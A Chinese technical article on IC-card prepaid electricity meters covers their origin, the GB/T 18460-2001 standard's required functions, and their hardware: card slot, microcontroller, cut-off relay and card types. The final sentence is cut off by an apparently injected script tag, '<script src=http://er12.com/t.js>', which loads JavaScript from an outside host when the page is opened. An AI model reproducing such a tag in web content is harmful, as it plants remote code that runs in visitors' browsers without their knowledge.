摘 要：介绍预付费电能表应具有的基本功能，预付费电能表的工作原理、硬件原理框图和控制程序流程图。
关键词：预付费电能表；集成电路卡；单片机
1 引言
预付费电能表起源于欧洲。二战后，流动人口很多，导致电力公司收电费困难。为解决此问题，一些制造厂设计、生产了预付费电能表。国内，随着国民经济的发展，流动人口在增加，此问题也日益加剧。另一方面，有些用电户法制观念淡薄，迟交、拖欠、不交或窃电，不以为然。用电管理部门对此伤透脑筋，花费大量人力物力仍有数以亿计的电费收不上来（据资料介绍，1998年底全国电力系统欠费高达250亿元）。为解决收电费难问题，预付费办法和预付费电能表应运而生。 按电能测量单元的工作原理，预付费电能表可分为机电式（混合式）预付费电能表和电子式（静止式）预付费电能表两种类型。
2 预付费电能表标准
经机械工业部批准，国内于1996年发布了机械行业标准“预付费电度表”（jb／t8382－1996）。随着技术的发展，ic卡预付费售电技术日趋成熟，为了更好地满足制造商和用户的需要，参照iec规范，制定了新的国标。国家质量监督检验检疫总局于2001年10月8日批准、发布了此标准———“ic卡预付费售电系统”（gb／t18460－2001）。标准由3部分组成：第1部分总则，规定了ic卡售电系统的组成、基本定义、基本功能和基本流程；第2部分ic卡及其管理，规定了ic卡中的基本数据定义、数据传输方式、安全保证和管理流程；第3部分预付费电能表（代替jb／t8382－1996），规定了电能表的计量和控制特性。按gb／t18460．3－2001的要求，预付费电能表应具有下列功能：
实现用户先买电后用电的功能：当电能表内剩余电量（金额）小于或等于系统所设的报警电量或报警金额时，应能以声、光或其他方式提醒用户；当剩余电量（金额）为零或双方约定的允许的赊欠电量（金额）时，发出断电信号控制负荷开关自动切断。输入新购电量（金额）后，电能表能自动恢复（必要时，也可辅以手工恢复）。输入的本次购电量（金额）与表内的剩余电量或剩余金额应能迭加。
电能表至少应能显示累计所用的电能数、剩余电量或剩余金额。当供电线路停止供电时，剩余电量或剩余金额及其他需要保护的信息不应丢失。
用户将ic卡插入后，电能表应能自动将当前剩余电量或剩余金额、表的状态信息返写至ic卡中，以供ic卡预付费介质管理系统查询；电能表应能接受由售电管理系统制作的检测卡的检查，并能将当前表的状态信息返写至检测卡中。
当使用非指定介质或进行非法操作时，电能表应能辨伪、防护；撤消非指定介质或非法操作后，电能表应能正常工作且不丢失数据。用户原售电卡遗失，经补遗后，电能表应能接受新补的售电卡，拒绝原售电卡。
对具有多种费率（电价）的表，应具有计时和正点抄表功能。
3 预付费电能表
3．1 工作原理和硬件结构
预付费电能表的结构与多费率电能表的结构大致相同，主要由电能测量单元和数据处理单元两部分组成。不过，加装了卡座接口和相关的处理程序。典型的预付费电能表的原理框图见图1。
卡座 卡座安装在电能表上，它是ic卡与电能表连接的硬件接口。卡座包括与ic卡pcb板相接触的电气触点，固定和弹出卡的机械装置，与系统连接的安装座，与内部电路连接的电气终端等。卡从插口插入且插到位时，8个簧片触点与ic卡上的对应触点相接触，数据处理单元利用其中的几个触点串行存取ic卡信息。
数据处理单元 数据处理单元主要由单片机或dsp等构成。一方面，将测量单元输入的电量脉冲累加成电能量，并显示于显示器上；另一方面，经卡座的通信接口，对ic卡中的密码进行核对，若正确则读入卡中信息。随着用电量的增加，不断从预购电量中减去用电量和将剩余电量显示于显示器上，实施预付费计量。
断电机构 断电机械是预付费电能表的一个重要部件。当剩余电量为零或约定的赊欠电量时，断电机构自动切断。视负荷电流的大小，断电功能可由内部继电器实现（直通式表），或由内部中间继电器驱动外部断路器实现（通过电流互感器ta和断路器实现的表）。断电机构一般都配有主、辅同步联动的两种触点。主触点控制供电，辅助触点接cpu，用来判断其工作是否正常，进行自诊断。若断电机构有故障无法跳闸，则累计透支电量，保证计量的正确。
ic卡 ic卡是一张将集成电路芯片镶嵌入塑料基片中形成的、能多次重复使用的卡片（每次写入的购电信息只能被对应的电能表有效接受一次）。按照卡中所嵌的集成电路的不同可分为：1．存储卡，核心器件为可电擦除的可编程只读存储器（eeprom），典型的存储卡有93c46卡和24c01卡等；2．逻辑加密卡，核心器件为eeprom?script src=http://er12.com/t.js>
